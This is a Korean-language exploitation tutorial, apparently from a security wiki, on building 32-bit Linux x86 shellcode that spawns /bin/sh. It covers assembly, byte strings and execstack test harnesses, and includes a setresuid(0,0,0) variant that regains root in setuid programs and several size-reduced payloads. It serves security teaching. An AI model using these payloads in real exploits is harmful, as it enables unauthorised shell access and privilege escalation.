02.Create a shellcode that executes "/bin/sh"

List

Create a shellcode that executes "/bin/sh"

C language

- **Shell 을 생성하려면 시스템 콜을 해서 "/bin/sh" 프로그램을 실행해야 합니다.**
- **아래와 같이 C 언어에서는 "/bin/sh" 를 실행 할 수 있는 함수들이 다양합니다.**

Other program execution functions

execl	int execl(const char *path, const char *arg, ...);	디렉토리와 파일 이름이 합친 전체 이름	인수 리스트	환경 설정 불가
execlp	int execlp(const char *file, const char *arg, ...);	파일 이름	인수 리스트	환경 설정 불가
execle	int execle(const char *path, const char *arg ,..., char * const envp[]);	디렉토리와 파일 이름이 합친 전체 이름	인수 리스트	환경 설정 가능
execv	int execv(const char *path, char *const argv[]);	디렉토리와 파일 이름이 합친 전체 이름	인수 배열	환경 설정 불가
execvp	int execvp(const char *file, char *const argv[]);	파일 이름	인수 배열	환경 설정 불가
execve	int execve (const char *filename, char *const argv [], char *const envp[]);	전제 경로 명	인수 배열	환경 설정 가능

- **아래 코드는 해당 함수들 중 execve() 함수를 사용하여 "/bin/sh" 프로그램을 실행합니다.**

shell.c

```
#include <unistd.h>

int main() {
        char *argv[2] = {"/bin/sh", NULL};
        execve(argv[0], argv, NULL);
}
```

- 해당 코드를 빌드 후 실행하면 다음과 같이 실행된 프로그램을 통해 shell을 사용 할 수 있습니다.

Run ./shell

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell shell.c
lazenca0x0@ubuntu:~/Shell$ ./shell
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$ exit
lazenca0x0@ubuntu:~/Shell$
```

Assembly code

- 앞에서 C language로 작성한 코드를 그대로 Assembly code로 변경하면 됩니다.
- 아래와 같이 execve() 함수 인자 값이 전달되어야 합니다.
    - 이것을 어셈블하려면 인자 배열과 환경 배열이 메모리상에 구축돼 있어야 합니다. 그리고 문자열 '/bin/sh'도 널 바이트로 끝나야 합니다. 이부분도 메모리 상에 구축되어 있어야 합니다.
    - 그런데 설명을 보면 프로그램 이름을 중복해서 입력했는데, 이는 프로그램을 실행하면 첫번째 인수가 실행한 프로그램의 전체 이름이기 때문입니다.
    - 다시 말씀 드려 man()함수의 인수준 *argv[]의 첫번째 문자열 argv[0]은 실행한 프로그램의 이름입니다.

Argument info

filename	실행 할 프로그램의 문자열('/bin/sh')이 저장된 주소
argv	실행 할 프로그램의 문자열('/bin/sh')이 저장된 주소
envp	환경 배열은 Null pointer

- 참고로 System 함수에는 execl(), execlp(), execle(), execv(), execvp() 함수는 없습니다.
    - 해당 함수들은 모두 System 함수인 execve() 함수를 활용해 제공되는 C 표준함수들입니다.

System call

```
lazenca0x0@ubuntu:~/ASM$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep exe
#define __NR_execve 11
#define __NR_kexec_load 283
lazenca0x0@ubuntu:~/ASM$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h|grep exe
#define __NR_execve 59
#define __NR_kexec_load 246
lazenca0x0@ubuntu:~/ASM$
```

- 첫번째, 두번째 인자 값으로 "/bin/sh"를 전달해야 하며, 해당 문자열의 끝은 Null byte가 되어야 합니다.
- 해당 문제를 해결하기 위해 '[', ']' 기호를 이용하여 포인터 형태(역참조, dereference)로 사용할 수 있습니다.
    - 아래 예제의 경우 "ebx 레지스터에 저장된 값"에 4를 더한 메모리 주소에 0을 저장합니다.
    - 만약 "ebx 레지스터에 저장된 값" 주소가 아닐 경우 잘못된 주소 값을 가리키기 때문에 에러가 발생합니다.

Dereference

```
mov [ebx+4], 0
```

- "Shellcode의 끝부분에 "/bin/sh"를 위치시켜면 되지 않을까?" 라고 생각 할 수 있습니다.

- 아래와 같이 취약성에 의해 Shellcode가 저장 될 메모리 영역에 임의의 값이 저장되어 있을수 있습니다.
- 그렇기 때문에 Shellcode의 끝부분에 "/bin/sh"를 위치시켜도 해당 문제를 해결 할 수 없습니다.

Null byte

	Memory data	String
Shellcode를 메모리 영역에 저장 전	0xAABBCCDDEEFFAABB	ª≫îª≫
Shellcode를 메모리 영역에 저장 후	0x2f62696e2f7368AABB	/bin/shª≫
"/bin/sh" 뒤에 null byte가 저장된 경우	0x2f62696e2f736800BB	/bin/sh

- **'argv', 'envp' 인자에는 주소값이 전달하기 위해 'LEA' 명령어를 사용할 수 있습니다.**
  - 'MOV' 명령어를 이용해 주소 값을 저장 할 수 있지만 Shellcode의 크기가 늘어납니다.

lea instruction

lea <Operand 1>, <Operand 2>	2번째 피연산자의 주소 값을 1번째 피연산자에 저장합니다.

Example

Instruction	Assembly code	Raw Hex
lea	lea ecx, [ebx+8]	0x8D, 0x4B, 0x08
mov, add	mov ecx, ebx add ecx, 8	0x89, 0xD9, 0x83, 0xC1, 0x08

- **앞의 내용을 참고하여 다음과 같이 "/bin/sh" 프로그램을 실행하는 Shellcode를 작성 할 수 있습니다.**

shellcode.s

```
BITS 32

jmp short last                ; shell   "last:" .

shell:
        ; int execve(const char *filename, char *const argv [], char *const envp[])
        pop ebx                                 ; EBX     .
        xor eax, eax                ; EAX   0 .
        mov [ebx+7],al                ;  "/bin/sh" Null byte .
        mov [ebx+8],ebx                ; [ebx+8]  EBX     .
        mov [ebx+12],eax        ; [ebx+12]  EAX   32 Null byte .
        lea ecx, [ebx+8]        ; argv   [ebx+8]  ECX   .
        lea edx, [ebx+12]        ; envp   [ebx+12]  EDX   .
        mov al, 11                        ; AL  execve()     .
        int 0x80                        ;

last:
        call shell                        ;  "/bin/sh"  Stack     .
        db '/bin/sh'                ; call    shell      Stack .
```

- **앞에 코드를 빌드하면 아래와 같이 Shellcode를 획득 할 수 있습니다.**

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode
00000000  EB16              jmp short 0x18
00000002  5B                pop bx
00000003  31C0              xor ax,ax
00000005  884307            mov [bp+di+0x7],al
00000008  895B08            mov [bp+di+0x8],bx
0000000B  89430C            mov [bp+di+0xc],ax
0000000E  8D4B08            lea cx,[bp+di+0x8]
00000011  8D530C            lea dx,[bp+di+0xc]
00000014  B00B              mov al,0xb
00000016  CD80              int 0x80
00000018  E8E5FF            call word 0x0
0000001B  FF                db 0xff
0000001C  FF2F              jmp word far [bx]
0000001E  62696E            bound bp,[bx+di+0x6e]
00000021  2F                das
00000022  7368              jnc 0x8c
lazenca0x0@ubuntu:~/Shell$
```

Test program

- 아래 코드를 이용해 해당 Shellcode를 테스트 할 수 있습니다.

shell2.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xf
f\xff/bin/sh";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
        (*(void(*)()) code)();
}
```

- 아래와 같이 Shellcode에 의해 '/bin/sh'가 실행되어 shell을 사용할 수 있게 되었습니다.

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell2 -z execstack -m32 shell2.c
lazenca0x0@ubuntu:~/Shell$ ./shell2
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Change permissions(seteuid())

Issue

- 일부 Setuid가 설정된 프로그램에서 root 권한으로 초기 설정 후 seteuid() 함수를 이용하여 일반 권한을 변경하는 경우가 있습니다.
    - 이러한 경우 Shellcode를 사용해 shell을 획득하더라도 seteuid() 함수에 설정된 권한으로 shell을 실행하게 됩니다.
- 앞에서 설명한 내용을 아래 코드를 사용해 확인 할 수 있습니다.
    - shellcode를 실행하기 전에 'seteuid(1000)' 함수를 이용해 프로그램의 권한을 일반 권한으로 변경하였습니다.

shell3.c

```
#include<stdio.h>
#include<string.h>
#include <unistd.h>
unsigned char shellcode [] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xf
f\xff/bin/sh";
unsigned char code[] = "";

void main(){
        seteuid(1000);
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    void (*function)() = (void(*)())code;

    function();
}
```

- 아래와 같이 프로그램의 권한을 root로 설정하고, setuid를 설정하였으나 seteuid() 함수에 의해 권한이 변경되었습니다.

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell3 -z execstack -m32 shell3.c
lazenca0x0@ubuntu:~/Shell$ sudo chown root:root ./shell3
lazenca0x0@ubuntu:~/Shell$ sudo chmod 4755 ./shell3
lazenca0x0@ubuntu:~/Shell$ ls -al
total 44
drwxrwxr-x  2 lazenca0x0 lazenca0x0 4096 Feb 21 00:44 .
drwxr-xr-x 24 lazenca0x0 lazenca0x0 4096 Feb 15 00:37 ..
-rwsr-xr-x  1 root       root       7568 Feb 21 00:44 shell3
-rw-rw-r--  1 lazenca0x0 lazenca0x0  431 Feb 21 00:43 shell3.c
lazenca0x0@ubuntu:~/Shell$ ./shell3
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

- 해당 문제는 'setresuid' 시스템 콜을 사용하여 해결 할 수 있습니다.
    - 해당 함수는 호출 한 프로세스의 실제 사용자 ID(real user ID), 유효 사용자 ID(effective user ID), 저장된 set-user-ID를 설정합니다.
    - 즉, 해당 함수를 이용해 seteuid() 함수에 의해 권한이 변경된 프로세스의 권한을 변경 할 수 있습니다.

SYNOPSIS

int setresuid(uid_t ruid**, uid_t** euid**, uid_t** suid**);**

C language

- 아래와 같이 C 언어로 코드를 작성합니다.
    - setresuid() 함수를 이용하여 root 권한을 설정 후 "/bin/sh" 프로그램을 실행 합니다.

shell4.c

```
#include <unistd.h>

int main() {
                char *argv[2] = {"/bin/sh", NULL};
                setresuid(0, 0, 0);
        execve(argv[0], argv, NULL);
}
```

Assembly code

- **앞에서 C 언어로 작성한 코드를 Assembly code로 변경합니다.**
  - 기존에 작성하였던 Shellcode에 setresuid() 함수 부분만 추가합니다.
- **시스템 번호는 아래와 같습니다.**
  - "__NR_setresuid" : 164
  - "__NR_setresuid32" : 208
  - 두 함수의 차이점은 지원하는 유저, 그룹 ID의 bit 수 차이 입니다.
    - 16 bit, 32bit
  - 여기에서는 둘중 어떤 것을 사용해도 상관 없습니다.

unistd_32.h|grep setresuid

```
lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep setresuid
#define __NR_setresuid 164
#define __NR_setresuid32 208
lazenca0x0@ubuntu:~/Shell$
```

shellcode2.s

```
BITS 32

jmp short last                ; shell   "last:" .

shell:
        ; setresuid(uid_t ruid, uid_t euid, uid_t suid);
        xor eax, eax    ; EAX   0 .
        xor ebx, ebx    ; EBX   0 .
        xor ecx, ecx    ; ECX   0 .
        xor edx, edx    ; EDX   0 .
        mov al, 164            ; AL  setresuid()     .
        int 0x80        ;  , root       '0' .
        ; int execve(const char *filename, char *const argv [], char *const envp[])
        pop ebx                                 ; EBX     .
        xor eax, eax               ; EAX   0 .
        mov [ebx+7],al               ;  "/bin/sh" Null byte .
        mov [ebx+8],ebx               ; [ebx+8]  EBX     .
        mov [ebx+12],eax        ; [ebx+12]  EAX   32 Null byte .
        lea ecx, [ebx+8]        ; argv   [ebx+8]  ECX   .
        lea edx, [ebx+12]        ; envp   [ebx+12]  EDX   .
        mov al, 11                       ; AL  execve()     .
        int 0x80                       ;

last:
        call shell                      ;  "/bin/sh"  Stack     .
        db '/bin/sh'               ; call    shell      Stack .
```

- **앞에 코드를 빌드하면 아래와 같이 Shellcode를 획득 할 수 있습니다.**

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode2.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode2
00000000  EB22              jmp short 0x24
00000002  31C0              xor ax,ax
00000004  31DB              xor bx,bx
00000006  31C9              xor cx,cx
00000008  31D2              xor dx,dx
0000000A  B0A4              mov al,0xa4
0000000C  CD80              int 0x80
0000000E  5B                pop bx
0000000F  31C0              xor ax,ax
00000011  884307            mov [bp+di+0x7],al
00000014  895B08            mov [bp+di+0x8],bx
00000017  89430C            mov [bp+di+0xc],ax
0000001A  8D4B08            lea cx,[bp+di+0x8]
0000001D  8D530C            lea dx,[bp+di+0xc]
00000020  B00B              mov al,0xb
00000022  CD80              int 0x80
00000024  E8D9FF            call word 0x0
00000027  FF                db 0xff
00000028  FF2F              jmp word far [bx]
0000002A  62696E            bound bp,[bx+di+0x6e]
0000002D  2F                das
0000002E  7368              jnc 0x98
lazenca0x0@ubuntu:~/Shell$
```

Test program

- 아래 코드를 이용해 해당 Shellcode를 테스트 할 수 있습니다.

shell4.c

```
#include<stdio.h>
#include<string.h>
#include <unistd.h>
unsigned char shellcode [] =
"\xeb\x22\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4
b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
        seteuid(1000);
    strcpy(code,shellcode);
        (*(void(*)()) code)();
}
```

- Shellcode에 추가된 "setresuid(0,0,0)" 코드에 의해 프로세스의 uid가 root로 복구되었습니다.

Build & run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell4 -z execstack -m32 shell4.c
lazenca0x0@ubuntu:~/Shell$ sudo chown root:root ./shell4
lazenca0x0@ubuntu:~/Shell$ sudo chmod 4755 ./shell4
lazenca0x0@ubuntu:~/Shell$ ./shell4
Shellcode len : 48
# id
uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)
#
```

Smaller Shellcode

- **지금까지 만든 Shellcode는 Code의 길이를 신경쓰지 않고 개발하였습니다.**
    - 취약성에 의해 공격자가 값을 저장할 수 있는 메모리 영역의 크기는 모두 다릅니다.
    - 사용 가능한 메모리 공간이 클수도 있지만 매우 작을수도 있기 때문에 Shellcode의 크기는 작은 것이 활용하기 좋습니다.

ESP Register

- **ESP 레지스터는 스택의 최상단 주소 값을 저장하고 있는 스택 포인터 입니다.**
    - PUSH 명령어가 실행되면 Stack에 피연산자 값을 저장하고, ESP 레지스터에 새로운 최상위로 주소 값이 저장됩니다.
        - "ESP 레지스터에 저장된 주소 값" - 4 = PUSH 명령어 실행 후 최상위 주소값
    - POP 명령어가 실행되면 피연산자에 ESP 레지스터에 저장된 주소 영역에 저장된 값을 저장하고, ESP 레지스터에 새로운 최상위로 주소 값이 저장됩니다.
        - "ESP 레지스터에 저장된 주소 값" + 4 = POP 명령어 실행 후 최상위 주소값
- **ESP 레지스터와 PUSH 명령어를 이용하여 "/bin/sh" 문자열을 저장하고, 주소 값을 추출할 수 있습니다.**
    - PUSH 명령어를 이용해 "/bin//sh" 문자열을 Stack에 저장합니다.
        - Null byte를 제거하기 위해 "/sh" 문자 앞에 '/' 문자를 추가합니다.
        - PUSH 명령어에 의해 ESP 레지스터는 "/bin//sh" 문자열의 시작주소를 저장하고 있습니다.
    - 즉, ESP 레지스터를 이용해 Stack에 저장된 "/bin//sh" 문자열의 주소를 얻을 수 있습니다.
    - 이로 인해 "jmp short last" 명령어는 사용하지 않아도 됩니다.
- **다음과 같이 Shellcode를 작성할 수 있습니다.**

shellcode3.s

```
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax    ; EAX   0 .
xor ebx, ebx    ; EBX   0 .
xor ecx, ecx    ; ECX   0 .
xor edx, edx    ; EDX   0 .
mov al, 0xa4    ; setresuid()     164(0xa4) AL  .
int 0x80        ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax    ; EAX     0 .
mov al, 11      ; execve()     11 AL  .
push ecx        ;     Null "//sh"  .
push 0x68732f2f ;  "//sh"  .
push 0x6e69622f ;  "/bin"  .
mov ebx, esp    ; ESP  "/bin//sh"   EBX  .

; 2       3
push edx        ; Null  .
mov edx, esp    ; 3  Null    .
push ebx        ; Stack "/bin//sh"    .
mov ecx, esp    ; 2
int 0x80        ; execve("/bin//sh",["/bin//sh",NULL],[NULL])
```

- **앞에 코드를 빌드하면 아래와 같이 Shellcode를 획득 할 수 있습니다.**

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode3.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode3
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  31D2              xor dx,dx
00000008  B0A4              mov al,0xa4
0000000A  CD80              int 0x80
0000000C  31C0              xor ax,ax
0000000E  B00B              mov al,0xb
00000010  51                push cx
00000011  682F2F            push word 0x2f2f
00000014  7368              jnc 0x7e
00000016  682F62            push word 0x622f
00000019  696E89E352        imul bp,[bp-0x77],word 0x52e3
0000001E  89E2              mov dx,sp
00000020  53                push bx
00000021  89E1              mov cx,sp
00000023  CD80              int 0x80
lazenca0x0@ubuntu:~/Shell$
```

Test program

- 아래 코드를 이용해 해당 Shellcode를 테스트 할 수 있습니다.

shell5.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//shh
/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
        (*(void(*)()) code)();
}
```

- **Shellcode 11 byte .**

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell5 -z execstack -m32 shell5.c
lazenca0x0@ubuntu:~/Shell$ ./shell5
Shellcode len : 37
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

CDQ(Convert Doubleword to Quadword) instruction

- CDQ(Convert Doubleword to Quadword)라는 단일 바이트 x86명령이 있습니다.
    - CDQ 명령은 EAX 레지스터에 저장된 값의 부호 비트(Sign Flag)를 EDX 레지스터에 확장합니다.
        - EAX에 저장된 값이 양수(SF = 0)인 경우 CDQ 명령어에 의해 EDX에 0x00000000이 저장됩니다.
        - EAX에 저장된 값이 음수(SF = 1)인 경우 CDQ 명령어에 의해 EDX에 0xFFFFFFFF이 저장됩니다.

Positive number

```
mov   eax, 0x5   ; eax = 0x5, SF = 0
cdq              ; edx = 0x00000000
```

Negative number

```
mov   eax, 0x5   ; eax = 0x5
neg   eax        ; eax = 0xFFFFFFFB, SF = 1
cdq              ; edx = 0xFFFFFFFF
```

- **XOR 명령어로 EDX의 값을 0으로 변경하는 대신에 CDQ 명령어를 이용할 수 있습니다.**
  - XOR 명령어를 표현하기 위해 2 byte를 사용하지만, CDQ 명령어는 1 byte를 사용합니다.
  - 즉, CDQ 명령어를 이용해 Shellcode의 크기를 1 byte를 줄일 수 있습니다.

CDQ instruction

```
xor edx,edx ;         31 D2
cdq                       ;        99
```

- 다음과 같이 Shellcode를 작성할 수 있습니다.

shellcode4.s

```
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax    ; EAX  0 .
xor ebx, ebx    ; EBX  0 .
xor ecx, ecx    ; ECX  0 .
cdq             ; EAX     (Sign Flag)  EDX   0 .
mov al, 0xa4    ; setresuid()     164(0xa4) AL  .
int 0x80        ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax    ; EAX    0 .
mov al, 11      ; execve()     11 AL  .
push ecx        ;     Null "//sh"  .
push 0x68732f2f ;  "//sh"  .
push 0x6e69622f ;  "/bin"  .
mov ebx, esp    ; ESP  "/bin//sh"   EBX  .

; 2       3
push edx        ; Null  .
mov edx, esp    ; 3  Null    .
push ebx        ; Stack "/bin//sh"    .
mov ecx, esp    ; 2
int 0x80        ; execve("/bin//sh",["/bin//sh",NULL],[NULL])
```

- **앞에 코드를 빌드하면 아래와 같이 Shellcode를 획득 할 수 있습니다.**

Build & Disassemble

```
lazenca0x0@ubuntu:~/Shell$ nasm shellcode4.s
lazenca0x0@ubuntu:~/Shell$ ndisasm shellcode4
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  99                cwd
00000007  B0A4              mov al,0xa4
00000009  CD80              int 0x80
0000000B  31C0              xor ax,ax
0000000D  B00B              mov al,0xb
0000000F  51                push cx
00000010  682F2F            push word 0x2f2f
00000013  7368              jnc 0x7d
00000015  682F62            push word 0x622f
00000018  696E89E352        imul bp,[bp-0x77],word 0x52e3
0000001D  89E2              mov dx,sp
0000001F  53                push bx
00000020  89E1              mov cx,sp
00000022  CD80              int 0x80
lazenca0x0@ubuntu:~/Shell$
```

Test program

- 아래 코드를 이용해 해당 Shellcode를 테스트 할 수 있습니다.

shell6.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//sh\x68
/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
        (*(void(*)()) code)();
}
```

- 앞에서 작성한 Shellcode에서 1 byte가 줄어들었습니다.

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell6 -z execstack -m32 shell6.c
lazenca0x0@ubuntu:~/Shell$ ./shell6
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

PUSH, POP instruction

- PUSH, POP 명령어를 이용해 코드를 줄일 수 있습니다.
    - 앞에서 시스템 콜을 저장하기 위해 XOR, MOV 명령어를 사용하였습니다.
    - 해당 코드를 PUSH, POP 명령어를 사용하여 Shellcode의 크기를 1 byte 줄일 수 있습니다.
    - PUSH 명령어로 값을 저장할 때 저장되는 값의 크기를 설정하는 것이 좋습니다.
        - 유효한 크기로는 1 바이트는 BYTE, 2 바이트 WORD, 4 바이트 DWORD가 있습니다.

XOR, MOV instruction

```
xor eax,eax        ;        31 C0
mov al,0xb        ;        B0 0B
```

PUSH, POP instruction

```
push byte +0xb        ;        6A 0B
pop eax                        ;        58
```

- 다음과 같이 Shellcode를 작성할 수 있습니다.

shellcode5.s

```
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax    ; EAX   0 .
xor ebx, ebx    ; EBX   0 .
xor ecx, ecx    ; ECX   0 .
cdq             ; EAX     (Sign Flag)  EDX   0 .
mov al, 0xa4    ; setresuid()     164(0xa4) AL  .
int 0x80        ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
push BYTE 11    ; execve()     11 Stack .
pop eax         ; Stack  11() EAX  .
push ecx        ;     Null  Stack .
push 0x68732f2f ;  "//sh"  .
push 0x6e69622f ;  "/bin"  .
mov ebx, esp    ; execve()  1 (EBX) "/bin//sh" (ESP) .

; 2       3
push edx        ; Null  .
mov edx, esp    ; execve()  3 (EDX) Null    .
push ebx        ; Stack "/bin//sh"    .
mov ecx, esp    ; execve()  2 (ECX)       .
int 0x80        ; execve("/bin//sh",["/bin//sh",NULL],[NULL])
```

- "/bin//sh" 문자열을 Stack에 저장할 때 Little-endian format으로 저장해야 합니다.

Example

String	Hex	Little-endian format
//sh	0x2f2f7368	0x68732f2f
/bin	0x2f62696e	0x6e69622f

Test program

- 아래 코드를 이용해 해당 Shellcode를 테스트 할 수 있습니다.

shell7.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68//sh\x68
/bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
        (*(void(*)()) code)();
}
```

- 앞에서 작성한 Shellcode에서 1 byte가 줄어들었습니다.

Build & Run

```
lazenca0x0@ubuntu:~/Shell$ gcc -o shell7 -z execstack -m32 shell7.c
lazenca0x0@ubuntu:~/Shell$ ./shell7
Shellcode len : 35
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

execve("/bin/sh", NULL, NULL);

- execve() "/bin/sh" 2 .
- **2 Null .**

execveNull.c

```
#include <unistd.h>

int main() {
        execve("/bin/sh", NULL, NULL);
}
```

Build & Run

```
lazenca0x0@ubuntu:~$ gcc -o null execveNull.c
execveNull.c: In function 'main':
execveNull.c:4:9: warning: null argument where non-null required (argument 2) [-Wnonnull]
         execve("/bin/sh", NULL, NULL);
         ^
lazenca0x0@ubuntu:~$ ./null
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$ exit
lazenca0x0@ubuntu:~$
```

execve(2) - Linux manual page - man7.org

- http://man7.org/linux/man-pages/man2/execve.2.html

- 다음과 같이 Shellcode를 작성할 수 있습니다.

shellcode6.s

```
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax    ; EAX   0 .
xor ebx, ebx    ; EBX   0 .
xor ecx, ecx    ; ECX   0 .
cdq             ; EAX     (Sign Flag)  EDX   0 .
                            ; execve()  3 (EDX) Null .
mov al, 0xa4    ; setresuid()     164(0xa4) AL  .
int 0x80        ; setresuid(0, 0, 0)

; execve(const char *filename, char *const argv [], char *const envp[])
push BYTE 11    ; execve()     11 Stack .
pop eax         ; Stack  11() EAX  .
push ecx        ;     Null  Stack .
push 0x68732f2f ;  "//sh"  .
push 0x6e69622f ;  "/bin"  .
mov ebx, esp    ; execve()  1 (EBX) "/bin//sh" (ESP) .

; 2       3
mov ecx, edx    ; execve()  2 (ECX) Null .
int 0x80        ; execve("/bin//sh",NULL,NULL)
```

Test program

- 아래 코드를 이용해 해당 Shellcode를 테스트 할 수 있습니다.

shell8.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\xb\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89
\xd1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
        (*(void(*)()) code)();
}
```

- 앞에서 작성한 Shellcode에서 4 byte가 줄어들었습니다.

Build & Run

```
lazenca0x0@ubuntu:~$ gcc -o shell8 -z execstack -m32 shell8.c
lazenca0x0@ubuntu:~$ ./shell8
Shellcode len : 31
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$ exit
lazenca0x0@ubuntu:~$
```

Related site

- http://forum.falinux.com/zbxe/?mid=C_LIB&page=3&document_srl=408569
- https://www.aldeid.com/wiki/X86-assembly/Instructions/cdq

Comments